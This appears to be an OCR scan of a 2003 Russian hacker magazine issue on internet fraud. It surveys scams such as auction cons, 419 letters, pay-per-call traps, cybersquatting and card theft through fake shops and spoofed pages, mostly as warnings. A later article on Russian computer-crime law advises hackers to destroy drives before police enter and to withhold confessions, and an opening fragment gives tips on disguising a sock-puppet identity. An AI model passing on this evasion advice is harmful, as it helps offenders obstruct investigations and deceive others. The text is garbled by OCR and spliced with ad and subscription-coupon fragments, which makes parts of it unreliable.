«недруги», так как, привыкнув к одному 
слогу, очень сложно полностью перестро- 
иться. Играя виртуала, постарайся в кор- 
не изменить имидж. Вместо «:)» - «;]», 
вместо длинных предложений - короткие, 
введи новые словесные опечатки (не 
ставь тире перед «то», «либо», «нибудь» 
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сразу. 


Внуки Калиостро, дети лейтенанта Шмидта, братья Лени 
Голубкова - они живут среди нас и с неугасающей энергией 
продолжают дело своих предков. С веками людская 
доверчивость и жажда быстрой наживы никуда не испарились 
- мы по прежнему мечтаем о том, чтобы отхапать много и 


Тут-то «на помощь» и приходят аферю- 
ги и жулики всех мастей. Но если рань- 
ше им приходилось действовать в OT- 
крытую, а жертв выуживать по улицам 
да по домам, с появлением Интернета 
аферы проворачивать стало на поря- 
док проще. И не нужно изобретать ве- 
лосипед - все уловки давно рассчита- 
ны, продуманы, остается только пере- 
садить их на электронную почву. 


Интернет-аукционы 


Аукционы в сети уже давно выросли в 
крупную сферу бизнеса, в которой вра- 
щаются десятки миллионов долларов. 
Популярность объясняется просто - 

с их помощью можно легко приобрести 
редкие вещи, а цена на многие товары 
на порядок ниже, чем в магазинах. Сот- 
ни тысяч людей по всему миру ежед- 
невно делают покупки Ha ebay и подоб- 
ных ресурсах. Что открывает большие 
перспективы для разного рода махина- 
ций. 


Самым частым надувательством, на ко- 
торое жалуются пользователи аукцио- 
на, - банальное кидалово с отсылкой 
товара. Ты находишь интересующий те- 
бя товар по приемлемой цене, прини- 
маешь участие в торгах, вроде как вы- 
игрываешь. Теперь остается переслать 
деньги продавцу и, как только он их 
получит, ждать покупку. Но через ме- 
сяц ты понимаешь, что никто ничего 
высылать не собирается, а напомина- 
ния и угрозы по емейлу остаются без 
ответа. 


Все знают пословицу: «Каждая бабка 
свои семечки хвалит». Так и здесь - 
чтобы привлечь потенциальных покупа- 
телей, особо хитрые индивиды «немно- 
го» приукрашают описания выставляе- 
мых товаров. На бумаге оно все краси- 
во и привлекательно, а приходит - рух- 
лядь, место которой на свалке. Часто 
мошенники отправляют бракованные 
вещи или даже полностью непригод- 
ные, выдавая их за новье. Другой вари- 
ант - продажа пиратского софта по це- 
не лицензионного. Многократное повы- 
шение цены может составить автограф 
звезды на коробке с музыкальным ди- 
ском. Счастливый покупатель часто не 
подозревает, что подпись подделана. 

Но даже если товар блистает новизной 
и оправдал все твои ожидания - не 
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спеши обмывать удачную покупку. 
Вполне возможно, завтра к тебе в 
дверь постучат сотрудники органов и, 
надев на руки браслеты, отведут на но- 
вую квартиру. Дело в том, что выста- 
вляемый товар аферист может и не 
иметь, а заказать на твой адрес по ук- 
раденной кредитке в одном из интер- 
нет-магазинов. И когда это раскроется, 
попробуй доказать, что это не ты делал 
заказ. 


Не только покупатели рискуют остаться 
с носом, на честных продавцов тоже 
находится управа. Часто, получив чек 
или номер кредитки, люди откладыва- 
ют обналичивание на потом, а товар 
высылают сразу. В итоге оказывается, 
что денег на счету нет или чек просто 
подделан. 

Немало умельцев пользуются аукцио- 
ном как бесплатной арендой. Прода- 
ешь ты такому, допустим, видеокамеру. 
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Кодак отсудил свой законный домен у киберсквоттеров 


Все вроде нормально - деньги получил, 
товар отослал. Но через месяц прихо- 
дит письмо, мол, камера - с дефектом, 
примите обратно. И остаешься ты без 
денег, да с поломанной вещью, что 
обычно списывается на повреждения 
при пересылке. 

Так как интернет-аукцион, по сути, не 
отличается от обычного, задачи у обеих 
сторон всем известные: покупателю - 
подешевле купить, продавцу - подоро- 
же продать. Чтобы сбить цену, некото- 
рые участники торгов пользуются не 
совсем честными уловками. С целью от- 
пугнуть конкурентов они сразу же рез- 
ко повышают ставку и держат ее такой 
до самого закрытия. А в конце - просто 
снимают первоначальное предложение 
и получают товар за копейки. 


Лучший способ избежать попадания 
впросак - иметь дело с проверенными 
людьми. На всех более-менее крупных 
интернет-аукционах ведется рейтинг 
каждого продавца, составленный на 
основе отзывов покупателей. Если его 
хистори девственно чиста, лучше не 
рискуй - дороже выйдет. Но если у 
продавца хороший рейтинг и большой 
опыт продаж - причин для беспокой- 
ства, скорее всего, нет. Обязательно 
спроси реальные координаты - адрес и 
телефон, которые нужно сразу прове- 
рить. Если продавец (покупатель) от- 
кажется предоставить что-либо кроме 
емейла - это уже повод задуматься, 


может ему действительно есть что 
скрывать. 


На вершине пирамиды 


«Поздравляем! Вы только что получили 
письмо, которое поможет вам полно- 
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стью изменить свою жизнь. Вы хотите в 
течение следующего месяца получить 
первые 10 тысяч долларов, а через 
полгода - до 50 миллионов? Это реаль- 
но! Многие люди уже купаются в день- 
гах, не прилагая к этому больших уси- 
лий. Наша система сделает вас миллио- 
нером всего за несколько месяцев. И 
все, что для этого нужно...» 

А нужно для этого немного - всего лишь 
выслать по указанному адресу немного 
денег (5-20$) и следовать инструкциям, 
привлекая новых простаков. 

С начала 90-х, когда Инет только начи- 
нал свои первые шаги, сетевой марке- 
тинг много раз менял форму. Сначала 
по свету путешествовало «письмо сча- 
стья», затем мир узнал про МММ, в наши 
дни передовых технологий вовсю юза- 
ется баннерная реклама. Но суть везде 
одна - в погоне за обещанными миллио- 
нами заманивать в сети все новых и но- 
вых людей. Причем Интернет подходит 
для этой цели идеально - с помощью 
программ массовой рассылки сообще- 
ний можно за пару секунд донести «вы- 
годное предложение» миллионам. 


Хотя в России уже прошел спонсорский 
бум, многие люди по-прежнему реги- 
стрируются на сайтах Spedia, AllPaid- 
Рог, ValuePay, Alladvantage и проводят 
по несколько часов в день, кликая на 
баннеры, заполняя формы и мечтая о 
легких деньгах. Лет 5 назад некоторые 
фирмы высылали чеки исправно, сей- 
час же абсолютное большинство спон- 
сорских проектов не стоит ни гроша. 
Меня удивляют чудаки, которые не по- 
лучают ни копейки в течение несколь- 
ких месяцев, и все равно продолжают 
работать на «спонсора». В то же время 
сами конторы имеют стабильную фи- 
нансовую поддержку рекламируемых 
компаний. 

Есть, конечно, и честные конторы, ко- 
торые деньги высылают. Но тарифы у 
таких настолько мизерные, что прихо- 
дится конкретно пахать, чтобы зарабо- 
тать хотя бы 50$. И, главное, ради чего 
все это? Неужели интересно проводить 
время, тыкая в одни и те же баннеры 
или заполняя скучные формы? 


раде 053 


СЕТЕВОЕ МОШЕННИЧЕСТВО 


Нигерийские письмена 


В 1998 г. я чуть было не помог бедному 
нигерийскому гражданину Рахату, отца 
которого расстреляли злые враги, вы- 
везти из страны наследство в 15 мил- 
лионов долларов. Рахат обратился ко 
мне со слезной просьбой, уверяя, что 
просто так ему это сделать не дадут, 
что лучший выход - положить деньги 
на мой счет в банке с дальнейшей пе- 
ресылкой в безопасное место. Щедрый 
Рахат пообещал за это 20 процентов. 
Три миллиона долларов! Неплохо за 
скромную услугу далекому чужеземно- 
му другу. Когда я выразил готовность 
всячески посодействовать благород- 
ной цели, Рахат выслал все необходи- 
мые документы, подтверждающие 
условия нашего договора. От меня, по- 
мимо получения денег, требовалось 
только открыть счет в названном бан- 
ке, куда нигерийский наследник по- 
просил переправить свои миллионы. 
Проблема была только в том, что от- 
крытие счета стоило тысячу долларов, 
которые предлагалось выслать в ука- 
занном направлении. Рахат немного не 
рассчитал с помощником - у меня в то 
время не то что тысячи - десяти долла- 
ров не было. Поэтому не получилось 
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мне быстро и на халяву разбогатеть, а 
зажиточному нигерийцу - обеспечить 
безопасное путешествие своего со- 
стояния на новую родину. 

Только спустя несколько лет я узнал, 
что таких наследников по белу свету - 
как кур нерезаных. И у всех одна и та 
же проблема - слишком много миллио- 
нов, не с кем поделиться. «Нигерий- 
ские письма», или, как их еще называ- 
ют, «обман 419» (число 419 - номер со- 
ответствующей статьи уголовного ко- 
декса Нигерии), известны во всем ми- 
ре. По подсчетам американской про- 
граммы «Internet Fraud Watch», co вре- 
мени появления аферы доход афри- 
канских мошенников составил более 
ста миллионов долларов. И эта цифра с 
каждым годом растет. 

Несмотря на то, что в России эта на- 
пасть не так распространена, никто не 
застрахован от «конфиденциальных 
деловых предложений». Поэтому, если 
к тебе обратится несчастная вдова или 
нигерийский банкир, предлагающие 
большие проценты с жутких денег, не 
подсчитывай, куда потратить свалив- 
шиеся на голову миллионы. Просто 
удали письмо от греха подальше. 


Звонок на вес золота 


Ты наверняка знаешь про службы «секс 
по телефону». Стоит это сомнительное 
удовольствие ни много ни мало - от 
трех баксов за минуту. Такая система 
оплаты называется «pay-per-call». Те- 
лефонные компании предоставляют 
любому желающему возможность заре- 
гистрировать телефонный номер в спе- 
циальной региональной зоне. Особен- 
ность тут в том, что все поступающие 
звонки оплачиваются по высокому та- 
рифу, а деньги за них уходят зареги- 
стрировавшему номер челу. Например, 
звонок на номер, начинающийся на 
809, будет стоить примерно 20$ в мину- 
ту! Создавался такой сервис в основ- 
ном для проведения коммерческих кон- 
сультаций. Но сообразительные афери- 
сты приспособили 
его для своих це- 


сайты. Отличие лишь в том, что пароль 
к фотографиям администратор готов 
назвать, но только по телефону. 
Нередко на указанном номере действи- 
тельно сидит человек. Задача его - как 
можно дольше продержать «клиента» 
на линии. Он может заикаться, выра- 
жать непонимание, просить подождать 
какое-то время. Но чаще всего органи- 
заторы аферы не заморачиваются и 
просто записывают длинное сообщение 
на автоответчик. Узнав, что родствен- 
ник жив, а картинки на сайте - лажа, че- 
ловек обычно о происшествии забыва- 
ет. И вспоминает только когда ему при- 
ходит трехзначный счет за переговоры. 
Запоминать зловещие номера беспо- 
лезно. В мире много таких сервисов и 
все время появляются новые. Поэтому 
совет тут может быть один - никогда не 
звони по номеру, присланному незна- 
комцем. Что бы он там ни говорил. 


Киберсквоттеры атакуют 


Если ты владелец популярного ресурса, 
если ты чем-то знаменит или у тебя 
просто много денег, поздравляю, ты - 
потенциальная жертва киберсквотте- 
ров. Этим замысловатым словом назы- 
вают людей, захватывающих доменные 
имена с целью получения выкупа. При- 
чем во многих случаях подобный вид 
заработка хоть и попахивает грязью, 
но по закону легален. 


Наверное, самым распространенным 
вариантом киберсквоттинга является 
захват перспективных доменов и пе- 
ревод их в режим «for sale». Многие 
пользователи ищут ресурсы на интере- 
сующие темы, вводя в окне браузера 
соответствующие имена сайтов. Если 
человек ищет книги, то, скорее всего, 
он наберет поочередно: Library.com, 
books.com, booksarchive.com и litera- 
ture.org. Чем выше будет стоять домен 
в статистике случайного набора, тем 
ценнее он для организации и тем выше 
будет его цена. Иногда крупные компа- 
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нии готовы заплатить просто космиче- 
ские деньги за обладание конкретным 
доменным именем. Например, Wi- 
пе.сот был куплен за 3 миллиона дол- 
ларов, Loans.com - за 4 миллиона, Busi- 
ness.com обошелся новым владельцам 
в 7.5 миллионов долларов! А ведь ре- 
гистрация стоит всего несколько бак- 
сов. Конечно, все самые перспектив- 
ные имена уже разобраны, но остается 
еще море потенциально ценных для се- 
тевых проектов или компаний с анало- 
гичным названием. 


Первый метод плох тем, что, заплатив 
деньги за регистрацию, приходится 
ждать, когда твоим сайтом заинтересу- 
ются. Тут от сквоттера мало что зави- 
сит, не будешь же предлагать его всем 
кому ни попадя. Но есть и другой вари- 
ант. Киберсквоттер захватывает домен, 
в котором фигурируют название горо- 
да или инициалы известного человека 
и превращает сайт в рассадник порно- 
графии или чего-то аморального. По- 
нятное дело, если юзер зайдет Ha Vla- 
dimirPutin.ru и найдет там коллекцию 
педофилических картинок, Владимиру 
Владимировичу это авторитета не при- 
бавит. Да и городу тоже, если имя сай- 
та - что-то типа petersburg.ru. Сделав 
свое грязное дело, сквоттер выходит 
на связь с заинтересованным лицом и 
скромненько так предлагает: «Заплати- 
те мне деньги, и я избавлю вас от этого 
ужаса». Так как для многих людей и ор- 
ганизаций репутация дороже пары ты- 
сяч баксов, им приходится идти нав- 
стречу ультиматуму. 


Самым опасным и дорогостоящим мо- 
жет стать захват домена, когда закан- 
чивается срок его регистрации. В этом 
случае сквоттер может перехватить 
управление сайтом, внеся плату за до- 
мен первым. И тогда проект, который 
взращивался годами, кровью и потом 
завоевывал популярность, окажется в 
руках какого-то пройдохи. Захватчик, 
конечно же, попросит денег, и сумма 
будет во многом зависеть от популяр- 
ности сайта. 


Работенка кому? 


Последнее время во всем мире боль- 
шой популярностью пользуется вид ра- 
боты Freelance. Не нужно ежедневно 
ездить в контору, выслушивать наста- 
вления начальника, выполнять скучные 
задания. В фриленсе ты сам себе на- 
чальник - можешь работать, как хо- 
чешь, когда хочешь и с кем хочешь. Вся 
работа делается на дому и, когда будет 
готова, переправляется работодателю 
по Интернету. Он, в свою очередь, вы- 
сылает оплату через банк. Таким обра- 
зом, можно получить приличные даже 
по американским меркам деньги, про- 
живая в Богом забытой украинской де- 
ревушке. Правда, фриленс пригоден 
только для творческих профессий, та- 
ких как: переводчик, журналист, про- 
граммист или компьютерный художник. 
С одной стороны, это очень удобно, с 
другой - рискованно. В сети полно сай- 
тов с объявлениями категории «требу- 
ются». Перебрав несколько десятков 
вариантов, можно найти для себя 
очень перспективную работенку. И вот 
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ты уже заключил с работодателем до- 
говор, трудишься в поте лица, подсчи- 
тывая прибыль. Но когда отсылаешь го- 
товую работу, понимаешь, что платить 
на самом деле тебе никто не собирает- 
ся. Ты даже не в состоянии отстоять 
свои права, так как фирма может нахо- 
диться на другом краю Земли. 


К другому способу даже подкопаться 
нельзя. Допустим, ты переводчик и 
ищешь в Инете хорошо оплачиваемую 
работу. Рано или поздно, просматри- 
вая сайты типа job.ru, натыкаешься на 
объявление: «Приглашаются перевод- 
чики с русского на английский для пе- 
ревода технических текстов. Оплата - 
7$/Кб. Аванс». Условия вроде непло- 
хие, но когда ты связываешься с рабо- 
тодателем, тебе говорят, что набор 
осуществляется на конкурсной основе 
и, чтобы продемонстрировать свои на- 
выки, нужно пройти тест. Затем прихо- 
дит кусок текста, который предлагает- 
ся перевести. Если справишься - бе- 
рем, нет - «звиняйте, бананив нэма». 
Стоит ли говорить, что, выполнив зада- 
ние, сколь бы ни идеально, ты полу- 
чишь в ответ только сообщение, что не 
прошел по конкурсу. С помощью такой 
нехитрой уловки мошенники могут за 
несколько дней бесплатно получить 
перевод большого объема информации 


или выбрать из сотен присланных ра- 
бот лучшую. 


Предотвратить такое кидалово сложно 
- вокруг много компаний, которые дей- 
ствительно нуждаются в квалифициро- 
ванных работниках и готовы платить за 
труды реальные деньги. Я бы посовето- 
вал не связываться, если тестовое зада- 
ние превышает время выполнения 20 
минут. Лучшую гарантию даст автори- 
тет компании. Вряд ли такие монстры, 
как Microsoft, Samsung или журнал 
«New York Times» будут экономить KO- 
пейку, рискуя репутацией. Если ты име- 
ешь дело с неизвестной конторой, по- 
старайся собрать о ней все возможные 
сведения. В первую очередь - адрес и 
телефон. В Интернете, кстати, ведутся 
черные списки недобросовестных ра- 
ботодателей. Посмотри - может твоя 
фирма там находится в первых рядах. 


Кредитные невзгоды 


В середине 90-х тысячи американцев 
обеспечили наших соотечественников 
ноутбуками, хорошей аппаратурой, 
платными сервисами и другими блага- 
ми цивилизации. В это время значи- 
тельная часть интернет-населения Рос- 
сии болела золотой лихорадкой на поч- 
ве кредитных карт. Люди нашли способ 
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А мне - АИТ 
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Танцы, тетки, колбаса — наши 
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797 по-русски! 


Готическая сабкультура, 
и куда ее девать 


0630p 5М$-игр 
для мобильников: 


Выбери свою! 


ащищайся! 


Что делать, если на тебя 
напали с оружием. 


А еще: футбольные хулиганы, 
радиоуправляемые машины, 
и прочие позитивные штуковины. 


Спрашивай везде! 
Не пропусти! Хулиган №4! 


Без тебя не начнем: 


заказывать на халяву разное добро и 
пользовались им на полную катушку. А 
способ этот назывался «Credit Card 
Generator». Нажать на кнопку, вписать 
полученный номер в форму заказа ешо- 
па и отправить - все дела. Всего за нес- 
колько месяцев Россия завоевала та- 
кую репутацию, что большинство он- 
лайновых магазинов просто перестали 
принимать заказы из стран СНГ. Несмо- 
тря на новые способы защиты и обяза- 
тельные подтверждения, обладая опре- 
деленными знаниями и имея валидные 
номера кредитных карт, можно легко 
снять с них деньги или приобрести до- 
рогостоящую покупку. Распространен- 
ным способом сбора номеров кредиток 
является создание подставного онлай- 
нового магазина или порносайта. До- 
верчивые посетители вводят конфи- 
денциальные данные, и они тут же по- 
падают в лапы мошенников. Обычно 
реклама таких сайтов зашкаливает по 
степени оптимизма: «Самые выгодные 
покупки в Интернете!», «Хотите крутой 
ноутбук за 300$?», «У нас самые откро- 
венные фотографии голых женщин!», 
«300 гиг эротических картинок и ви- 
део», «Голые Бритни Спирс и Анна Кур- 
никова!». На липовых порносайтах ча- 
сто фоток нет вообще (или несколько 
низкого качества), ведь главная цель - 
не развлекать посетителей, а банально 
своровать номера. 


Правда, большинство людей уже успе- 
ли кое-чему научиться и совершают 
покупки на крупных, зарекомендовав- 
ших себя порталах. Но и тут аферисты 
нашли выход. Так как определенный 
процент пользователей попадает на 
ешоп по ссылке баннера, мошенники 
вставляют несколько таких баннеров 
на дружественные сайты. Фишка в том, 
что на баннере только написано назва- 
ние портала. На самом деле переадре- 
сация идет на левый сайт, где тебя уже 
ждет хитрый Ява-скрипт, который пи- 
шет в адресной строке браузера что-то 
типа: «porta.ru» или «amazon.com», а в 
окне изображает точную копию ресур- 
са. И если ты, решив сделать покупку, 
введешь номер карты, она отправится 
не к работникам ешопа, а к автору 
скрипта. 


Все еще актуальной остается социаль- 
ная инженерия, с помощью которой 
вполне реально развести жертву. Мо- 
шенник может позвонить и, предста- 
вившись работником банка, спросить, 
действительно ли с этого счета такого- 
то числа была сделана покупка на 
крупную сумму. Хозяин кредитки, есте- 
ственно, заверит, что ничего подобно- 
го он не заказывал. И, по просьбе зво- 
нящего «банкира», продиктует «для 
проверки» и номер кредитки, и свои 
инициалы - все что угодно, только бы 
недоразумение утряслось. 


Инет на халяву 


Халява для русского человека - вообще 
слово необычайно близкое и родное. 
Но халява на доступ в Интернет притя- 
гательна вдвойне. Хотя всемирная пау- 
тина и набирает у нас километровые 
обороты, об американских тарифах 


(20$ в месяц за качественный неогра- 
ниченный доступ) нам пока еще оста- 
ется только мечтать. Но потомство то- 
варища Шмидта и тут не оставило нас в 
беде. На рыночных столбах, интернет- 
форумах и прочих людных местах не- 
редко можно заметить объявления: 
«Продам анлим на Интернет. ДЕШЕ- 
BO!». Кому ж не хочется анлим, да еще 
и дешево? Связавшись с автором сооб- 
щения, ты узнаешь, что цена действи- 
тельно дешевле официальной. И пла- 
тишь деньги, пока тот не передумал. 
Концовок этой истории может быть 
несколько. 


Ты подключаешься по купленному ло- 
гину и... как ни странно, все в поряд- 
ке. Коннект - зверь, доступ - полный. 
Но радость заканчивается на следую- 
щий день, когда сервер начинает выда- 
вать «Password error». А твой логин с 
измененным паролем уходит следую- 
щему клиенту. Или аферист просто 
продает аккаунт нескольким (десят- 
кам) юзерам одновременно. И тогда 
твоей любимой игрой станет: «Дозво- 
нись до провайдера» с призом в виде 
обретенного, наконец, доступа (до пер- 
вого обрыва). 


Некоторые веселые и находчивые ин- 
дивиды проводят себе по дешевке нес- 
колько телефонных линий и соединяют 
их в модемный пул. Один номер по- 
стоянно висит в Интернете, другие к 
нему подключены и принимают часть 
трафика на себя. Можешь сам предста- 
вить, какая будет скорость соединения, 
если 56К разделить между 6-10 поль- 
зователями. Но доморощенного про- 
вайдера это нисколько не смущает, и 
он дерет с тебя денежки, указывая на 
хреновую телефонную линию. 

Но черт с ним, с коннектом. Случается 
и так, что тебе просто впаривают сты- 
ренный трояном почасовой аккаунт. И 
тогда, если хозяин логина прибежит в 
контору ISP и пожалуется на свою зах- 
аканность, след приведет не к злодею- 
продавцу, а прямиком под твою дверь. 


Я перечислил лишь несколько наибо- 
лее распространенных способов - на 
самом деле их намного больше. Онлай- 
новые казино, сетевые инвестиции, 
авансовые займы, хищение идентифи- 
кации, турпутевки через Интернет... 
список можно продолжать долго. Уни- 
версального совета, который поможет 
избежать всех неприятностей, нет. 
Уместной тут будет фраза: «Если тебе 
кажется - это слишком хорошо, чтобы 
быть правдой, скорее всего, так оно и 
есть». Не верь рассказам про быстрое 
обогащение, не ведись на «выгодные 
предложения», не думай, что благород- 
ные люди вот так просто придут и по- 
делятся с тобой своими финансами. И 
каждый раз получая письмо из далекой 
Нигерии или от Билла Гейтса, поразмы- 
сли, почему связались именно с тобой. 
Может быть у тебя просто слишком 


много денег? 
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1. Заполнить подписной купон 
(или его ксерокопию). 


2. Заполнить квитанцию (или 
ксерокопию). Стоимость 
подписки заполняется из 
расчета: 

6 месяцев - 600 рублей 

1 есяцев - 1200 рублей 


(В стоимость подписки включена 
доставка заказной бандеролью.) 


3. Перечислить стоимость 
подписки через Сбербанк. 


4. Обязательно прислать в 
редакцию копию оплаченной 
квитанции с четко заполненным 
купоном 

или по электронной почте 
subscribe_xs@gameland.ru 

или по факсу 924-9694 (с 
пометкой "редакционная 
подписка"). 

или по адресу: 

103031, Москва, 
Дмитровский переулок, д 4, 
строение 2, ООО "Гейм Лэнд" 
(с пометкой "Редакционная 
подписка"). 


Рекомендуем использовать 
электронную почту или факс. 


ВНИМАНИЕ! 


Подписка производится 

с номера, выходящего через 
один календарный месяц 
после оплаты. Например, 
если вы производите оплату 
в Сентябре, то подписку 


можете оформить с Декабря. 


СПРАВКИ 
по электронной почте 
subscribe_xs@gameland.ru 
или по тел. (095)935-7034 


редакционная. 
п СЯ 


ПОДПИСНОЙ КУПОН (подписка через редакцию) 
Прошу оформить подписку на журнал "ХакерСпец" 


[На 6 месяцев (начиная с 2003 г.) 
С На 12 месяцев (начиная с 2003 г.) 


(отметьте квадрат, выбранного варианта подписки) 


Ф.И.О. 


Город/село ул. 


Дом корп. KB. Ten. 


Сумма оплаты 


Подпись Дата е-тай: 


Копия платежного поручения прилагается. 


ИНН 7729410015 ООО"ГеймЛэнд" 

ЗАО «Международный Московский Банк», г. Москва 
р/с №40702810700010298407 

к/с №30101810300000000545 

БИК 044525545 


Извещение 


Плательщик 


Адрес (с индексом) 


Назначение платежа Сумма 


Оплата журнала "ХакерСпец" 


за 200_г. 


Подпись плательщика 
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СЕТЕВОЕ МОШЕННИЧЕСТВО 


ПРЕСТППЕНЫЕ 


Ц НАНАЗАНЦЕ`) 


что бывает за веб-мошенничество 


TanaT (tanat@hotmail.ru) 


Весь этот выпуск посвящен махинациям и надувательствам в 
Сети. Тут тебе и трояны, и дефейсы, и хакинг, и фрикинг, и 


вирусы-папирусы... Но пришло время поговорить, как мужчина 


с мужчиной. 


ы уже взрослый и имеешь право знать, что с 
тобой сделают, если поймают. 


Начнем мы с того, что разберемся, кто те- 
бя будет искать, если ты совершишь уго- 
ловно наказуемое деяние. Что это за ку- 
лебяка такая, мы поговорим чуть позже. 
Итак, искать тебя будут ФСБ и МВД. Наи- 
более опасной ищейкой является ФСБ, так 
как она расследует самые хитрые и инте- 
ресные преступления. Что же до МВД, то 
они должны следить за тем, чтобы никто 
нигде не продавал пиратские CD диски :). 
Также милиция оказывает помощь феде- 
ралам при поиске и задержании правона- 
рушителя. 

Думаю, ты не раз слышал об отделе «Р», 
или «П», который входит в состав ФСБ и 
может «поймать любого, если захочет». Я 
не скажу тебе, как действительно называ- 
ется это подразделение, потому как не 
знаю сам. Суть в том, что отдел переиме- 
новывался несколько раз, и я предпочи- 
таю промолчать, чем соврать. Одно же 
очевидно точно: отдел есть и иногда он 
выходит на охоту. 

Что же такое нужно совершить, чтобы вы- 
манить зверя из берлоги? Вернее, чего 
лучше не делать, чтобы не столкнуться с 


хищником ночью? Вот мы и подошли к 
юридическим проволочкам - что такое 
хорошо и что такое плохо. Сильно грузить 
тебя не буду - не на юрфаке в конце кон- 
цов, - а вот законы перескажу. 

Наше с тобой законодательство содержит 
аж целую главу (глава 28, «Преступления 
в сфере компьютерной информации»), в 
которой перечислены противоправные 
действия и наказания за них. Глава со- 
держит три статьи. Условно их можно наз- 
вать так: хакинг, вирусы/трояны, админи- 
стратор-ренегат. С текстом законов ты 
можешь ознакомиться во врезках. 


Начнем с хакинга. Суть любого хака в том, 
что проникаешь куда-то там и копи- 
руешь/модифицируешь/удаляешь/блоки- 
руешь чужую инфу. Что значит «копи- 
руешь»? То же, что и воруешь или публи- 
куешь (придаешь гласности). Что значит 
«модифицируешь»? То есть меняешь со- 
держание или смысл. «Удаляешь»? Вот 
под удалением понимается «удаление без 
возможности восстановления». То есть, 
если ты незаконно убил у своего дружба- 


Статья 272. Неправомерный доступ к компьютерной информации 


1. Неправомерный доступ к ох- 
раняемой законом компьютер- 
ной информации, то есть инфор- 
мации на машинном носителе, в 
электронно-вычислительной ма- 
шине (ЭВМ), системе ЭВМ или их 
сети, если это деяние повлекло 
уничтожение, блокирование, мо- 
дификацию либо копирование 
информации, нарушение работы 
ЭВМ, системы ЭВМ или их сети, - 
наказывается штрафом в разме- 
ре от двухсот до пятисот мини- 
мальных размеров оплаты труда 
или в размере заработной платы 
или иного дохода осужденного 
за период от двух до пяти меся- 
цев, либо исправительными ра- 
ботами на срок от шести месяцев 
до одного года, либо лишением 
свободы на срок до двух лет. 


2. То же деяние, совершенное 
группой лиц по предварительно- 
му сговору или организованной 
группой либо лицом с использо- 
ванием своего служебного поло- 
жения, а равно имеющим доступ 
к ЭВМ, системе ЭВМ или их сети, - 
наказывается штрафом в разме- 
ре от пятисот до восьмисот мини- 
мальных размеров оплаты труда 
или в размере заработной платы 
или иного дохода осужденного 
за период от пяти до восьми ме- 
сяцев, либо исправительными 
работами на срок от одного года 
до двух лет, либо арестом на 
срок от трех до шести месяцев, 
либо лишением свободы на срок 
до пяти лет. 


на доку, а она не стерлась, а переползла в 
корзину, то он тебе ничего не сделает 
(разве что лицо наждаком почистит) - 
ведь закон ты не нарушил! Под «блоки- 
ровкой» понимается невозможность до- 
ступа к информации (к примеру, ты ее за- 
шифровал) при сохранении ее целостно- 
сти. 

Обрати внимание, что если ты хакнул ка- 
кую-нибудь шнягу, то тебя могут посадить 
на пару лет. А если ты это сделал в со- 
ставе группы, то ты теперь организован- 
ная преступность и сидеть тебе лет 5. 


К вирусам наши власти проявляют осо- 
бый интерес. Обрати внимание, что сажа- 
ют даже за одно лишь изготовление виру- 
са. То есть, если ты накодишь паразита у 
себя бетонном бункере, отключенном от 
всякой сети и охраняемом ротой солдат, 
то это будет преступлением. 

Смотри дальше. Во втором пункте указан 
максимальный срок среди всех компью- 
терных преступлений. Так что если ты на- 
пишешь вирус типа Чернобыля, который 


Официальное сообщение ФСБ 


от 29.01.03 


ИЗ РОССИИ В США ДЕПОРТИРО- 
ВАНА ГРАЖДАНКА США МЕГАН 
МАКРИ 

29 января рейсом №321 Москва - 
Лос-Анджелес из России в США 
депортирована гражданка США 
Меган Макри, 1968 г.р. 

Макри длительное время прожи- 
вала в одном из районов Москвы 
без регистрации по просрочен- 
ной визе. 

По имеющимся достоверным 
данным, американская граждан- 
ка через сеть Интернет устана- 
вливала контакты с рядом из- 
вестных мусульманских экстре- 
мистских организаций, которым 
предлагала сценарии террори- 
стических актов, в частности в 
США, и свою помощь в их прове- 
дении. 
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всем яйца оторвет, то сидеть тебе 7 лет и 
штрафа платить в бюджет США. 

Трояны тоже попадают под данную 
статью. Не дай тебе бог попасться на хи- 
щении мега-инфы с помощью любимой 
лошадки - узнаешь, как пахнут нары сто- 
процентно. 


Статья 274 - это прикольный и достаточно 
интересный случай. К примеру, ты сисад- 
мин в банке - серфишь всю сеть как Бог. 
Счета валютные и рублевые, большие и 
маленькие, зеленые и евро... Ну как тут 
сдержаться. Ну перевел единицу с шес- 
тью нулями на счет бабке Наде. А тут ФСБ 
- хоп тебя и в казенный дом. 

Теперь давай разбираться более подроб- 
но. Первая шняга, если к тебе пришли дя- 
ди из ГБ, это шифровать или стирать дан- 
ные. Для этого тебе помогут две двери, 
одна из них железная. Железную будут 
очень долго сварочной лампой прожи- 
гать, деревянную выбьют быстрее. За это 
время нужно убить компромат. Лучше 
всего пользоваться специальными тулза- 
ми, которые затирают инфу нулями. Есть, 
правда, одна теория, утверждающая, что 
информацию можно восстановить, даже 
если она затиралась перед этим нулями 
пять раз! Как это сделать? Не знаю, но 
ФСБ, возможно, знает. Так что лучше все- 
го достань свой винт, избей его молотком 
и выложи все потроха на магнит. Так на- 
дежней! :) 

Вторая шняга в том, чтобы не быть лава- 
шом. Что такое «лаваш»? Ну, хлеб такой 


Статья 274. Нарушение правил 


эксплуатации ЭВМ, системы ЭВМ 
или их сети 


1. Нарушение правил эксплуата- 
ции ЭВМ, системы ЭВМ или их се- 
ти лицом, имеющим доступ к 
ЭВМ, системе ЭВМ или их сети, 
повлекшее уничтожение, блоки- 
рование или модификацию ох- 
раняемой законом информации 
ЭВМ, если это деяние причинило 
существенный вред, - наказыва- 
ется лишением права занимать 
определенные должности или за- 
ниматься определенной деятель- 
ностью на срок до пяти лет либо 
обязательными работами на срок 
от ста восьмидесяти до двухсот 
сорока часов, либо ограничени- 
ем свободы на срок до двух лет. 


2. То же деяние, повлекшее по 

неосторожности тяжкие послед- 
ствия, - наказывается лишением 
свободы на срок до четырех лет. 
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вкусный, его еще едят. В общем, чтобы те- 
бя не съели, нужно думать головой, а не 
основанием спинного мозга. Следи за 
словами и колись не сразу. Вот пример. 
Ты с группой перцев поимел чей-то логин 
и пароль. Пофиг от чего. Естественно, все 
юзают эту бодягу скопом. В результате, 
можно за сутки израсходовать несколько 
тысяч часов Интернета с чужого счета 
(если много народу будут сидеть в сети 


одновременно и юзать эккаунт). Если те- 
бя прижмут к стене, то подумай: «Можно 
ли доказать, что виновен?». Чаще всего в 
таких случаях ФСБ ловит одного «юзаль- 
щика», и тот быстро сдает всю свою бри- 
гаду. Если ты не успел попользоваться 
инфой, то не бери чужую вину. Если у 
провайдера нет АОНа, а ты не оставил 
компромата на своем ПК, - пошли всех к 
динозаврам! Помни, если какой-то перец 


Статья 273. Создание, использование и распространение вредоносных 


программ для ЭВМ 


1. Создание программ для ЭВМ 
или внесение изменений в суще- 
ствующие программы, заведомо 
приводящих к несанкциониро- 
